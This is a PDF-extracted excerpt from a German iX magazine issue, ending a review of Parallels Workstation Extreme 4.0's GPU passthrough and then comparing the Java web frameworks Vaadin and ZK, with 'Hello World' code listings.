Fastlane. Statt auf einen emulierten Framebuffer greift der Gast auf den vollen Funktionsumfang moderner Grafikhardware zu. Architekturintern nutzt Parallels Workstation Extreme die heute auf praktisch jedem modernen Mainboard vorhandene VT-d und reicht dabei x-tract Parallels Workstation Extreme ist ein Typ-2-Hypervisor für Systeme unter Windows oder Red Hat. Grafikkarten von NVIDIA, die per SLI-Multi-OS gekoppelt sind, kann der Hypervisor nativ den virtuellen Maschinen zur Verfügung stellen. Anwender können damit in virtuellen Gästen eine vollwertige Grafikkarte nutzen. PCIe-Geräte wie Netzwerk- und/oder Grafikkarten direkt an den Gast durch. Ein mit je drei Adaptern ausgestattetes System kann der Anwender quasi hart partitionieren, sodass dem Host und zwei Gästen exklusiv eigene I/O-Komponenten für Netz und Grafik im Zugriff stehen. Die Zuordnung der Komponenten zu Wirts- und Gast-OS konfiguriert der Anwender über die Rubrik VT-d des Menüs Datei->Eigenschaften im grafischen Bedienungszentrum zum Produkt. Welcher Gast eine konkrete Grafik- oder Netzwerkschnittstelle nutzen darf, ist in den Gasteinstellungen festzulegen. Wenn aber beispielsix 11/

70 REVIEW Grafik weise eine Grafikkarte mehreren Gästen zugeordnet ist, die ein aktiver Gast reserviert hat, verwehrt Parallels Workstation Extreme den Start der anderen. Hinzufügen und Entfernen der Grafikkarte ist nur bei runtergefahrenen Gastbetriebssystemen möglich. Ein Seiteneffekt der fest zugeordneten Grafikkarten an Gäste trifft den Anwender beim Hochfahren des Wirts: Er kann die Hardware nicht initialisieren, was die Komponente mit voller Lüfteraktivität quittiert. Erst nach dem Starten eines Gasts, dem das Gerät gehört, startet dessen Konfiguration, und der Geräuschpegel sinkt. Im Test ließ sich das umgehen, indem der Administrator den Gast mit der gebundenen NVIDIA FX3800 auf Start mit Applikation umstellte und eine passende Verknüpfung im Autostart-Ordner von Parallels Worksta tion Extreme vornahm. Andere Gäste mit Stolpern Kandidat: Zu den zertifizierten Sys - temen für Parallels Workstation Extreme 4.0 gehört Fujitsus Celsius M470, die als Testplattform diente (Abb. 1). Direkt: Dank Intels VT-d-Technik kann der Hypervisor die am PCI-Bus angeschlossenen Geräte an die virtuelle Maschine weiterreichen (Abb. 2). Offiziell unterstützt Parallels Software laut Handbuch lediglich 32-Bit- Gäste mit Windows XP SP3 sowie 64- Bit-Gäste mit Windowsˇ7, Windows XP SP2, RHEL 5.3 und RHEL 4.7, neuerdings auch 5.4. Das Installieren von anderer Betriebssysteme wie Free - BSD, OS/2, MS-DOS und Solaris erlaubt der VM-Konfigurations-Wi zard ebenfalls. Passende Werkzeuge liefert der Hersteller aber nur für Windows, Linux und ecomstation 1.2 (dem OS/2- Nachfolger von Serenity Systems). Der VM-Konfigurations-Wizard suggeriert, dass Parallels Workstation Extreme Windows ab 3.11 fahren kann. Im Test hing die Installationsprozedur bei der Prüfung der Festplatte. Das Aufspielen von Windowsˇ95 gelang, der Systemstart scheiterte mit einem Schutzfehler. NT-4-Workstation zeigte nach dem Kopieren seiner Systemdateien einen Blue Screen. Bei SLES 10 blieb der Bildschirm selbst beim Installieren im Safe-Mode nach dem Laden des Linux-Kernels schwarz. RHEL 5.4 und FreeBSD 3.1 ließen sich hingegen ohne Weiteres einrichten. Es bleibt der Eindruck, dass Parallels einfach die GUI seines Desktop-Virtualisierers in das Produkt installiert hat, die Wahlmöglichkeiten aber nicht Gegenstand einer Qualitätskontrolle waren. Schwierigkeiten beim Erkennen von USB Irritierend war noch der Umgang mit USB-Geräten. Nach dem Anschließen einer USB-Festplatte fragt das System, ob es sie dem Wirt oder einem Gast zuordnen soll. Das geschieht ebenso, wenn man Tastatur und Maus anschließt. Im Test trat der Fall auf, dass jemand USB- Tastatur nebst -Maus entfernt hatte, die das System nach erneutem Wiederanschließen nicht mehr fand: Parallels Worksta tion Extreme wartete vergebens auf eine Antwort. Während beim Einrichten für Win - dows-gäste einfach ein Treibersatz aufzuspielen ist, erfordern Linux-Gäste das Erstellen von Kernel-Modulen. Dazu sind die Kernel-Quellen und ein C-Compiler nötig. Parallels Werkzeuge bieten Treiber an, mit denen er Zugriff auch auf per VT-d durchgereichte Geräte gelingt. Zudem besitzen die Tools Connectoren mit Parallels APIs, sodass ordnungsgemäßes Herunter - fahren oder Stilllegen auf Knopfdruck funktionieren. Über einen Shared Folder können die Anwender, die auf virtuellen oder physischen Maschinen arbeiten, Daten untereinander austauschen. Ergebnisse des SPECviewperf 11 Windows 7 (nativ) Windows XP Windows 7 Windows Vista Linux RHEL Catia-03 Ensight-04 Lightwave-01 Maya-03 Proe-05 Sw-02 21,85 14,56 38,74 9,38 6,75 18,75 13,19 40,25 26,45 7,40 19,26 14,14 35,82 6,79 5,18 19,07 14,68 36,12 23,40 5,17 13,39 15,18 33,90 32,42 7,63 NVIDIAs Quadro FX GByte VRAM; Artikel im Heft auf Seite 113; 32,06 29,81 27,72 27,94 29,84 70 ix 11/2010

71 Die Migration vorhandener Installationen soll Parallels Transporter erleichtern. Physische Windows-Instanzen ab Windows 2000 und Linux (Red Hat 5, Ubuntu 8.04) kann er in Parallels Workstation importieren, solange keine dynamischen oder logischen Partitionen dort genutzt sind. Für Virtuelles, das aus VMwares Workstation, Microsofts Virtual PC oder Oracles VirtualBox 2.x stammt, fühlt er sich ebenfalls zuständig. Zum Konvertieren muss der Administrator auf dem Ursprungssystem vorher einen Agenten installieren, den er nach erfolgreichem Migrieren wieder entfernen kann. Parallels liefert mit Workstation Extreme sein Image Tool aus. Damit kann der Anwender die Kapazität virtueller Festplatten vergrößern, das Format ändern feste versus dynamische Größe, einfache oder unterteilte Disks und Snapshots zusammenführen. Ein Explorer zur Navigation in virtuellen Festplatten der Gäste, bekannt aus Parallels Desktop, gibt es zur Workstation Extreme bisher nicht. Fazit x-wertung *ˇvollwertige Grafikkarte im Gast verfügbar *ˇhohe Effizienz der Passthrough- Anbindung _ˇgeringe Anzahl unterstützter Gast- Betriebssysteme _ˇInitialisierung der an Gäste vergebenen Grafikkarten erst nach Gast-Start Tcvis-02 Snx-01 besser > 17,07 15,47 15,49 14,99 17,24 15,74 15,21 15,56 16,96 17,47 Lieferumfang und Preise Parallels Workstation 4.0 Extreme Anforderungen: Intels Xeon 5500-Serie mit 5520 Chipsatz, 8ˇGByte RAM, 10 GByte Plattenplatz pro VM; 64-Bit-Betriebssystem (Window Vista SP1 oder 7, Red Hat 5.3) Hardware: Fujitsu Celsius M470; Xeon W3520 (Quad-Core, 2,66 GHz); 6ˇGByte DDR3 ECC (3ˇxˇ2 GByte); NVIDIAs Quadro FX 580, 512 MByte VRAM (Host) und NVIDIAs Quadro FX 3800, 1ˇGByte VRAM (für Parallels' Worksta tion 4 Extreme); 150 GByte HDD (SATA II 10k U/Min); DVD-ROM/Brenner; Tastatur und Maus Anbieter/Preis: Fujitsu (de.fujitsu.com), Celsius M470, 1399 Euro plus Grafikkarte Quadro FX 580 für 194 Euro und Quadro FX 3800 für 919 Euro (netto, UVP) Parallels ( Workstation Extreme 4.0 für 285,71 Euro (netto) Grafikleistung der Workstation-Klasse gelingt mit Parallels Workstation 4.0 Extreme erstmals auch in virtuellen Maschinen. Mögliche Einsatzorte wären der gleichzeitige Betrieb von hochperformanten grafischen Anwendungen unter Windows und Linux auf ein und derselben Hardware sowie das Weiterverwenden von grafiklastigen XP-Anwendungen neben Windowsˇ7. Voraussetzungen für den vollen Funktions- und Leistungsumfang sind Workstations mit Xeon-CPUs und mindestens ein Quadro FX von NVIDIA oder ATI Fire Pro RG 220. Damit kann der Anwender auf die Alterna - tiven Dual-Boot-System oder Zweit- Workstation verzichten. Platz spart Parallels Workstations Extreme nur unter dem Tisch; ohne zweiten Monitor geht es nicht. (rh) FRED HANTELMANN ist bei der Silpion IT-Solutions GmbH als Senior IT-Architekt tätig. Literatur [1]ˇFred Hantelmann; Core-Technik; Herzstück; Intels Woodcrest mit Xen untersucht; ixˇ11/2006, S.ˇ86 [2]ˇFred Hantelmann; Virtualisierung; Halböffentlich; Die quelloffene VirtualBox OSE; ixˇ4/2007, S.ˇ92 [3]ˇFred Hantelmann; Xen-Tutorial II; Phänomenologie; Konfiguration virtueller Maschinen; ix Special 2/2010 Cloud, Grid, Virtualisierung, S.ˇ142 [4]ˇFred Hantelmann; Xen-Tutorial I; Xenologie; Aufbau virtueller Maschinen; ix Special 2/2010 Cloud, Grid, Virtualisierung, S.ˇ137 x ix 11/

72 REVIEW Webprogrammierung Serverseitige RIA-Frameworks: Vaadin und ZK Vergiss das Netz Christoph Leisegang Java-Profis, die Webanwendungen entwickeln, können sich bei serverseitig orientierten Frameworks auf ihre Sprache konzentrieren, ohne sich um HTML et cetera kümmern zu müssen. Mit Vaadin und ZK liegen zwei RIA-Frameworks in stabilen neuen Versionen vor, bei denen die gesamte Logik auf dem Server läuft. Rich Internet Applications (RIA) versprechen dem Benutzer eine reichhaltige Benutzererfahrung [a], die über die klassischer Webseiten hin - ausgeht. Ein markantes RIA-Merkmal ist das Einseiten -Konzept [b]. RIAs navigieren nicht von Seite zu Seite, sondern laden zusätzliche Inhalte ohne Seiten-Refresh nach. Die URL ändert sich meist nur im Fragment Identifier ( # ), zur Unterstützung des Back-Buttons und des History-Mechanismus. Neben Microsofts Silverlight und Adobes Flex etablieren sich zunehmend Ajax-basierte RIA-Frameworks [c], die ausschließlich mit den Bordmitteln der Browser auskommen. Zu ihnen gehören clientseitige Java Script- Frameworks wie jquery, Dojo oder Prototype mit Scriptaculous. Clientseitig und nativ im Browser lauffähig ist ebenfalls das Google Web Toolkit (GWT, [d]). Die Benutzeroberfläche wird beim GWT in Java zusammengebaut und kommt weitgehend ohne direkte Verwendung von HTML und JavaScript aus. Die Komponenten verwenden Events, Listener und ein GWTeigenes RPC-Framework zur Kommunikation mit anderen Komponenten und der Business-Logik. Ein Compiler übersetzt die Anwendung nach HTML und JavaScript, sodass das Ergebnis clientseitig arbeitet. Eine weitere Gattung Ajax-basierter RIA-Frameworks sind serverseitige Java-Frameworks. Wie GWT versprechen sie das Entwickeln von Anwendungen in purem Java ohne HTML und JavaScript. Sie stellen ebenfalls Widget- Komponenten zur Verfügung, die über Events und Listener untereinander kommunizieren. Data Bindings komplettieren das Ensemble. Anders als beim GWT läuft die gesamte Logik aber auf dem Server. Eine in einem Servlet arbeitende Render Engine erzeugt zur Laufzeit für jedes Widget HTML und JavaScript für den Client. Client- und serverseitiger Code tauschen Events über eine Ajax-Engine aus. Entwickler arbeiten mit diesen Frameworks nach dem Motto: Vergiss das Netz. Drei Vertreter dieser Gattung sind Echo (echo.nextapp.com), Vaadin (vaa din.com) und ZK ( Ersteres liegt derzeit in den Versionen Echoˇ2 (letzte Release Februar 2009) und Echoˇ3 Betaˇ8 (letzte Release August 2009) vor. Obwohl die Community noch Leben zeigt, fand Echo wegen seiner beiden angestaubten Releases keine Berücksichtigung in diesem Artikel. Die beiden anderen Frameworks 72 ix 11/2010

73 dagegen sind brandneu. Vaadin liegt momentan in Version vor, ZK in der Version Die hohen Versionsnummern versprechen ausgereifte Produkte, die schon ein paar Jahre Entwicklungszeit durchlaufen haben. Zu fragen ist, ob und, falls ja, wie weitreichend sie in eine IDE integriert sind, wie unterschiedlich Entwickler mit ihnen arbeiten können und wo ihre Grenzen liegen. Integration und Handhabung Für manche Programmierer ersetzt die Entwicklungsumgebung schon beinahe das Betriebssystem, auf dem sie arbeiten. Die gute Integration eines Frameworks in mindestens eine der bekannten IDEs ist daher unerlässlich. Bietet es darüber hinaus eine Integration in ein Build-Werkzeug, sind die ersten Hürden mit Bravour genommen. Beide Frameworks haben Eclipse-Plug-ins im Portfolio und unterstützen das Entwickeln mit Maven. Mit Vaadins Eclipse-Plug-in lassen sich Projekte generieren, übersetzen und direkt als Servlets, Portlets oder auf Googles App Engine verteilen. Neue Themes, Widget Sets und Widgets kann man ebenfalls über das Plugin erstellen und bearbeiten. Ein Visual Editor erleichtert das Anfertigen eigener UI-Komponenten. Er erzeugt daraus Java-Code, ist aber noch in einem frühen Entwicklungsstadium. Das Plug-in funktioniert in den Eclipse-Java-EE- Versionen Ganymede und Galileo, im neuen Helios noch nicht. Vaadin integriert sich zusätzlich mit einem Community-driven Plug-in in Netbeans, allerdings mit eingeschränkten Funktionen. ZK hat mit dem Studio gleichfalls ein Eclipse-Plug-in im Programm. Es unterstützt den vollen Entwicklungs - zyklus: Erstellen neuer Projekte, Visual Development in einem eigenen Editor x-tract inklusive Syntax-Highlighting, Style Designer, das Entwickeln eigener Widgets und das Deployment als Servlets. Man fragt sich allerdings, wozu ein eigener Editor mit Syntax-Highlighting erforderlich ist. Außer in reinem Java erlaubt ZK es, Anwendungen mit der XML-basierten ZK User Interface Markup Language (ZUML) zu entwickeln. ZUML integriert XUL [e] und HTML in eine gemeinsame Sprache und verspricht das Entwickeln von Anwendungen ganz ohne Programmieren. Das reine Layouting kommt tatsächlich ohne das Schreiben von Code aus, die Verarbeitung von Benutzereingaben muss allerdings durch Scripting erfolgen. Skripte werden mit dem Element <zscript> in ZUML eingebettet oder stammen aus einer externen Datei. ZK unterstützt die Sprachen Java, Java - Script, Ruby und Groovy. Das Prinzip erinnert stark an JSP [f], die ZUML- Dateien werden aber nicht vorkompiliert, sondern zur Laufzeit per Interpreter ausgegeben und ausgeführt, wobei die Skripte auf dem Server laufen. Auch das ZK-Plug-in unterstützt Eclipse Helios noch nicht. Wer es pur mag, kann direkt mit Maven entwickeln. Beide Frameworks unterstützen automatisierte Integrations- Builds, Tests und das Deployment über eine Maven-Integration. Vaadin bietet seine Bibliotheken im offiziellen Maven Repository an. Leider sind die dortigen Versionen nicht ganz aktuell. Zusätzlich gibt es drei Arche typen zur Erzeugung von Maven- Projekten. Ein Plug-in ermöglicht die automatische Erzeugung von Custom Widgets in einem Projekt. Vaadin hat zusätzlich eine Ant-Integration im Angebot. ZK hält seine Bibliotheken in einem eigenen Maven Repository vor. Damit Maven Zugriff darauf bekommt, ist eine Ergänzung im Repository-Abschnitt des eigenen Maven-POM (Project Object Model) erforderlich. Danach lassen Rein serverseitige RIA-Frameworks wie Vaadin und ZK erlauben dem Java-Entwickler, sich auf seine Sprache zu konzentrieren statt mit HTML und JavaScript umgehen zu müssen. Beide Frameworks liegen als Eclipse-Plug-in vor, wobei ZK nicht nur Java-Entwickler anspricht, sondern zusätzlich einen deklarativen Ansatz unterstützt. Es gibt zwar Unterschiede bei Einzelheiten, aber beide erleichtern das Programmieren von Desktop-Anwendungen fürs Web auf ihre Weise. Vaadins Formular-Komponente baut die zugehörigen Elemente dynamisch auf (Abb.ˇ1). sich die Abhängigkeiten (Dependencies) manuell hinzufügen. Beide Frameworks sind einfach in Betrieb zu nehmen. Ein Servlet Container genügt, Webanwendungen auszuführen. Die eigene Applikation muss von der Form her einer normalen Web - applikation entsprechen, und die web. xml-datei muss der Entwickler entsprechend den Vorgaben des jeweiligen Frameworks anpassen. Diverse Layouts und Component Container Layouts und Component Container spielen in GUI-Frameworks eine zentrale Rolle bei der Gestaltung einer Anwendung. Vertikale und horizontale Layouts gehören zum grundlegenden Repertoire. Sie ordnen Widgets senkrecht oder waagerecht an. Bei Vaadin heißen sie Vertical und Horizontal Layout, bei ZK VBox und HBox. Ebenfalls häufig im Einsatz sind Split Panels. Sie unterteilen Fenster in horizontale beziehungsweise vertikale Bereiche. Mit sogenannten Splittern können Entwickler die Größen der Bereiche in Abhängigkeit voneinander variieren. Layouts sind beliebig ineinander schachtelbar. Vaadins Grid Layout ordnet Komponenten in einem Raster mit nˇxˇm gleich großen Feldern an. Die Komponenten können sich über mehrere Felder erstrecken. Das Absolute Layout positioniert Komponenten an festgelegten Positionen. HTML-Prototypen sind in Vaadin mit einem Custom Layout integrierbar. div-elemente versehen mit einem location Attribut dienen dabei als Platzhalter für zur Laufzeit hinzugefügte Komponenten (Mapping-Mechanismus). Das CSS Layout schließlich öffnet die Vaadin-Welt für CSS-Experten, die die Komponenten in einer einfachen DOM-Struktur anordnen. CSS ix 11/

74 REVIEW Webprogrammierung Das Border Layout von ZK erlaubt die Orientierung von Elementen nach den vier Himmelsrichtungen und ins Zentrum (Abb.ˇ2). erledigt die Gestaltung. Für die Kompatibilität zwischen den Browsern muss man allerdings selbst sorgen. Alle Vaadin-Layouts reagieren auf Mausereignisse, wenn sie einen Click Listener implementieren. Von Fenstern, Panels und Tab-Boxen Das Border Layout in ZK eignet sich dafür, Komponenten in den vier Himmelsrichtungen und im Zentrum anzuordnen. Jede der fünf Positionen kann genau eine Komponente aufnehmen. Setzt man als Komponenten wiederum Layouts ein, sind komplexe Aufteilungen schnell entwickelt. Dass einzelne Bereiche über Splitter in ihrer Größe veränderbar und einklappbar sind, sei am Rande erwähnt. So war der Unmut in der ZK Community groß, als in den Pre-Releases der Version 5.0 das Border Layout nicht mehr zum Bestandteil der freien Version gehörte. Letztlich hatte ZK ein Einsehen, das Border Layout ist weiterhin frei verfügbar. Frei in der Verwendung ist außerdem das Column Layout, das sich dafür eignet, Panels in Spalten anzuordnen. Table Layout und Portal Layout sind nur in der Bezahlversion erhältlich. Ersteres entspricht dem Grid Layout von Vaadin, Letzteres positioniert Panels ohne Überlappung in freier Form. Übliche Vertreter der Gattung Komponenten-Container sind Window, Panel und Tab-Boxen. Mit diesen Komponenten lassen sich Widgets weiter strukturieren. Die Unterschiede zwischen den Frameworks sind gering. Außer eingebetteten Fenstern gehören Pop-ups und modale Dialoge zum Standard. Positionen und Größen der Fensters konfiguriert man über diesbezügliche Methoden. Fenster sind innerhalb des umgebenden Browsers frei verschiebbar, können explizit geschlossen werden oder schließen sich bei Verlassen ihres Bereichs. Menüs seien in diesem Zusammenhang ebenfalls kurz erwähnt: Beide Frameworks haben komplexe diesbezügliche Komponenten im Sortiment. Panels sind in Vaadin einfach gehalten. Sie fassen Inhalte zusammen und haben darüber hinaus nur eine optionale Überschrift. Die Groupbox-Komponente von ZK bietet eine vergleichbare Funktion. ZK-Panels sind dagegen recht komplexe Komponenten, die man einklappen, minimieren oder schließen kann. Im Einsatz mit dem Portlet Layout ergibt das durchaus Sinn. Tab-Boxen sind in heutigen Benutzeroberflächen ebenfalls selbstverständlich. So verwundert es nicht, dass die Ausgestaltung in beiden Frameworks nahezu identisch ist. Zusätzliches Schmankerl in ZK: Tabs können vertikal angeordnet sein. Ein- und Ausgabekom - ponenten mit Datenmodell Button, Label, TextField, Date, List und Combo Box, Radio und Checkbox die Fülle der Widgets beider Frameworks übersteigt bei Weitem den Rahmen dieses Artikels. Vaadin verwendet GWT als Widget Set, ZK gibt proprietäre Widgets aus. Unterschiede gibt es zwischen den Frameworks nur im Detail (siehe die Beispielseiten der Frameworks). Drei Komponenten seien vertiefend betrachtet: Bäume, Tabellen und Formulare. Sie dienen der Präsentation und Auswahl von Daten und ihrer Eingabe. Für Baum und Tabellen gilt: Auch große Datenmengen müssen in geeigneter Form verarbeitet werden. Dazu gehört die Sortierung nach unterschiedlichen Kriterien, Gruppieren, Filtern, Ausblenden und seitenweises Anzeigen. Dynamisches Nachladen von Daten (Lazy Loading) ist ein weiteres entscheidendes Kriterium. Formulare hingegen dienen der Anzeige einzelner Datensätze. Wünschenswert ist ein generischer Ansatz zum Aufbau von Formularen, wobei die Validierung ein Muss ist. Datenmodelle, die den Einund Ausgabekomponenten zugrunde liegen, dienen hierbei der Abstraktion von Datenquellen. Vaadins Datenmodell ist eine Tabelle: Reihen als einzelne Records entsprechen Items, Spalten entsprechen Properties von Items und die Tabelle selbst ist ein Container. Der wiederum ist eine Schnittstelle zu einer Daten- Listing 1: Vaadins "Hallo Welt" public class HelloWorld extends com.vaadin.application { } public void init() { final Window main = new Window("Hello window"); setmainwindow(main); final TextField namefield = new TextField("Name:"); main.addcomponent(namefield); namefield.setdescription("please enter your name!"); namefield.setimmediate(true); namefield.addlistener(new ValueChangeListener() public void valuechange(valuechangeevent event) { main.addcomponent(new Label(String.format("Hello %s!", namefield))); } }); } Listing 2: ZKs "Hallo Welt" <window apply="appgenericforwardcomposer"> <label value="name:"/> <textbox id="thetextbox"/> <label id="outputlabel"/> </window> public class AppGenericForwardComposer extends GenericForwardComposer { private Textbox thetextbox; private Window self; //embedded object, the supervised window "mywin" private Page page; //the ZK zuml page private Label outputlabel; } public void onchange$thetextbox(event event) { outputlabel.setvalue(string.format("hello %s!", thetextbox.getvalue())); } 74 ix 11/2010

75 quelle, die dynamisch die Daten für die Anzeige bereitstellt. Weitere Schnittstellen definieren die Sortierung, Indizierung und Filterung der Daten. Alle Ein- und Ausgabekomponenten besitzen eine interne Implementierung eines Containers. Items werden in diese über additem() geladen und direkt im Widget angezeigt. Darüber hinaus hat Vaadin mit dem BeanItemContainer, HierarchicalContainer, IndexedContainer, QueryContainer (via JDBC) weitere mächtige Implementierungen der Container-Schnittstelle im Programm. Die Tabellen-Komponente entspricht den gestellten Anforderungen. Spalten lassen sich per Dragˇ&ˇDrop anordnen oder ganz ausblenden. Pro Reihe kann man ein Kontextmenü anzeigen. Paging und Lazy Loading hat Vaadin effizient gelöst. Per Scrollbar bewirkt es das Nachladen in einstellbarer Seitengröße dynamisch vom Server. Auf das Paging hat der Entwickler keinen Einfluss. Spalten lassen sich nur sortieren, wenn die Container-Implementierung die entsprechende Schnittstelle unterstützt. Beim Sortieren wird die Tabelle auf die erste beziehungsweise letzte Seite zurückgesetzt. Das Grouping von Tabelleninhalten unterstützt das Datenmodell nicht direkt. Als Datenquelle verwendet die Tree- Komponente von Vaadin den Hierarchical Container, der alle genannten Interfaces implementiert. Paging und Lazy Loading bietet er von Haus aus allerdings nicht an. Sollen beispielsweise die Kinder eines Knotens erst beim Öffnen nachgeladen werden, muss man das über entsprechende Events in einer eigenen Implementierung des Hierarchical Container implementieren. Als Datenquelle einer Formular-Komponente kann jede Klasse fungieren, die die Item-Schnittstelle implementiert. Die Komponente puffert die Daten und übernimmt sie erst mit einem commit() in die dahinter liegende Datenquelle oder lehnt sie bei einem discard() ab. Live Data, das Datenmodell von ZK, findet Anwendung in den ListBox-, Grid- und Tree-Komponenten. Es definiert zwei Datenquellen mit Interfaces: ListModel (ListModelExt, wenn Sortierung erforderlich ist) und ein TreeModel. Das GroupsModel beschreibt eine Schnittstelle zur Gruppierung von Daten. Reale Implementierungen sind: ArrayGroupsModel und SimpleGroups- Model. Bei Verwendung von Modellen können Renderer zum Erzeugen von Reihen und Items angebunden werden. Die ListBox- und Grid-Komponente entsprechen weitgehend Vaadins Tabellen-Komponente. Im Vergleich zu Vaadin wird zusätzlich Live Grouping von Tabellen über das entsprechende Modell unterstützt. Je nach eingestelltem Modus (Mold) bietet ZK Paging entsprechend einer voreingestellten Seitengröße in Form indizierter Seiten oder mittels direktem Vor- und Zurückblättern an. Auf das Paging hat man direkten Einfluss durch Setzen einer eigenen Implementierung. Im Standardmodus werden die Daten in Seitengröße mit Lazy Loading dynamisch vom Server nachgeladen. Eine konkrete Implementierung der TreeModel-Schnittstelle ist nicht Bestandteil von ZK. Hier heißt es, selbst Hand anlegen. Mit einer eigenen Implementierung der Schnittstelle unterstützt die Tree-Komponente Paging und Lazy Loading. Weder sortiert ZK die Elemente, noch bietet es eine auf einem Modell generisch arbeitende Formular- Komponente. Mit dem DB Form Builder enthält ZK aber ein Werkzeug, mit dem sich auf Basis von SQL-Datenbank-Tabellen Sourcecode für Formulare generieren lässt. So richtig ausgereift wirkt das Produkt aber noch nicht. Hier endlich Hallo Welt Ein Hauptunterschied beider Frameworks ist schon bekannt: Vaadin ist tatsächlich rein Java-basiert. ZK hingegen bietet die Option, Anwendungen de - klarativ, in gemischter Form oder in reinem Java zu entwickeln. Welche Vorgehensweise man wählt, hängt letztendlich von der Anwendung und ihrer Umsetzung ab oder ist einfach reine Geschmacksache. Die beiden Hello World -Listings zeigen eine Variante, mit Eingabe eines Namens und einer ereignisgesteuerten Ausgabe der Form Hello <Name>. In Vaadin muss eine Anwendung von der Klasse Application abgeleitet sein. Es reicht die Implementierung der Methode init(), der Rest ist selbst erklärend. Die ZK-Variante ist in einer ZUML-Datei und einer zugehörigen Java-Klasse implementiert. Ein Generic- ForwardComposer leitet Ereignisse automatisch an Event-Methoden mit ix 11/

76 REVIEW Webprogrammierung einem Namenschema onsomeevent$ - someid weiter. So erspart man sich etwas addlistener-boilerplate-code. Hinter beiden Frameworks steckt, wie die Listings zeigen, dieselbe Philosophie: Webanwendungsentwicklung à la Desktop. Trotz des deklarativen Ansatzes von ZK gibt es keine grund - legenden Unterschiede zwischen den Frameworks. Die verwendeten Mechanismen und Konstrukte sind aus der Desktop-Anwendungsentwicklung bekannt und bewährt. Wie die Widgets beider Frameworks aussehen, steuert CSS, das in sogenannten Themes zusammengefasst ist. Beide Frameworks enthalten ein De - fault-theme. Anpassungen nimmt der Entwickler über Änderungen der CSS- Dateien in den Paketen vor. Ei gene Themes erstellt er auf Basis der Default- Themes beziehungsweise zugrunde liegender Basispakete. Dort sind die CSS-Klassennamen festgelegt. Beide Frameworks enthalten in den Eclipse- Plug-ins Werkzeuge zur Bearbeitung der Themes, allerdings im Funktionsumfang recht eingeschränkt (Erzeugen von Templates). Die Hersteller bieten kommerziellen Service für Customized Themes an. Eigenentwicklungen, Support und Lizenzen x-wertung Vaadin *ˇfrischeres Default-Theme *ˇkonsequenteres Datenmodell _ˇErstellung eigener Themes ist kompliziert ZK *ˇunterstützt Grouping im Datenmodell _ˇkein überzeugendes Lizenzmodell _ˇErstellung eigener Themes ist kompliziert [a] Rich Internet Applications en.wikipedia.org/wiki/rich_internet_application [b] Single-Page-Konzept msdn.microsoft.com/en-us/magazine/cc aspx [c] MarketScope for Ajax Technologies and Rich Internet Application Platforms (Gartner-Studie) [d] Googles Web Toolkit (GWT) code.google.com/intl/de-de/webtoolkit/ [e] XUL de.wikipedia.org/wiki/xml_user_interface_language [f] JSP Home Page java.sun.com/products/jsp/ [g] Add-ons Directory vaadin.com/directory [h] ZK Forge [i] ZK-Lizenzseite Beide Frameworks erlauben die Einbindung eigener clientseitiger Komponenten. Das ist nicht verwunderlich, denn schon die Eclipse-Plug-ins unterstützen die Entwicklung eigener Komponenten. Vaadin bietet in seinem Add-on Directory weitere freie und kommerzielle Widgets, Themes und Tools [g]. ZK hat auf ZK Forge ebenfalls freie Addons im Angebot [h]. Beide sind offen für die Integration mit anderen Frameworks und Techniken, und sie unterstützen die Anbindung von Spring, Guice, OSGI, JSP oder JSF, um nur einige zu nennen. Wie ZK bietet Vaadin umfangreiche Handbücher mit Schritt-für-Schritt- Erklärungen, ebenso eine Menge Code für die Verwendung von Widgets in Form von Galerien. Javadoc-API-Dokumentationen sind selbstverständlich. Beide Hersteller moderieren Foren, in denen Anwender ihre Erfahrungen austauschen können. Kommerzieller Support ist darüber hinaus erhältlich. Vaadin unterliegt der Apache Li - cense 2.0 und kann kommerziell frei verwendet werden. Bei ZK gibt es, wie erwähnt, zwei Produktversionen. Ver - sion unterliegt in den Ausprägungen Community (CE), Personal (PE) und Enterprise Edition (EE) der GPL. Wem die Bedingungen der GPL nicht zusagen, kann eine kommerzielle Lizenz erwerben. Einen Preis für eine kommerzielle Lizenz erhält man nur auf Anfrage. Version 5.0 unterliegt in der CE der LGPL. Diese Edition ist in ihrem Umfang gegenüber der PE und EE eingeschränkt, auch im Bezug auf Performance und Skalierbarkeit, was immer das heißen mag. Für die Editionen PE und EE gibt es nur eine kommerzielle Lizenz. Alternativ bietet ZK für beide Editionen eine Open-Source- Variante an [i]. Eine Professional License (ohne Support) bekommt man für 249ˇ$ pro Entwickler und Jahr, das Professional Package (inklusive Support, maximal drei Fälle) kostet 599ˇ$ pro Entwickler und Jahr. Einen Preis für das Enterprise Package gibt es nur auf Anfrage. Onlinequellen Fazit Die Entwicklung von Anwendungen entspricht bei beiden Frameworks nahezu der von Desktop-Anwendungen, man kommt schnell zu guten Ergebnissen. HTML und JavaScript bekommt man wirklich nur in Ausnahmefällen zu Gesicht. Die Wahl einer Anwendungsarchitektur ist frei, beide Frameworks geben keine vor. Vaadins Widgets wirken im Default- Theme frischer und moderner, ZK hat hier etwas Staub angesetzt. Stark sind beide Frameworks in ihren Data Bindings. Vaadins ist vom Aufbau her konsequenter, da es in allen Eingabe- und Ausgabekomponenten Anwendung findet. ZK hat die Nase in der Live-Gruppierung von Daten vorn (allerdings nur in der PE und EE), Vaadin bietet dagegen eine gute programmatische Unterstützung beim Aufbau von Formularen. Beiden APIs würde eine Modernisierung nicht schaden, insbesondere eine Typisierung über Generics wäre wünschenswert. Die Dokumentation ist in beiden Fällen umfangreich. Jede Menge Samples, Sourcecode und Einführungen stehen zur Verfügung. Wiki, Blogs und Foren, in denen auch die Entwickler der Frameworks aktiv Fragen beantworten, runden den positiven Eindruck ab. Zum Schluss bleibt: Wer Java pur bevorzugt, ist bei Vaadin gut aufgehoben. Wer lieber einen deklarativen Ansatz möchte, wählt ZK. (hb) CHRISTOPH LEISEGANG ist Technischer Leiter der Produktentwicklung bei der ETHALON GmbH in Hamburg. x 76 ix 11/2010

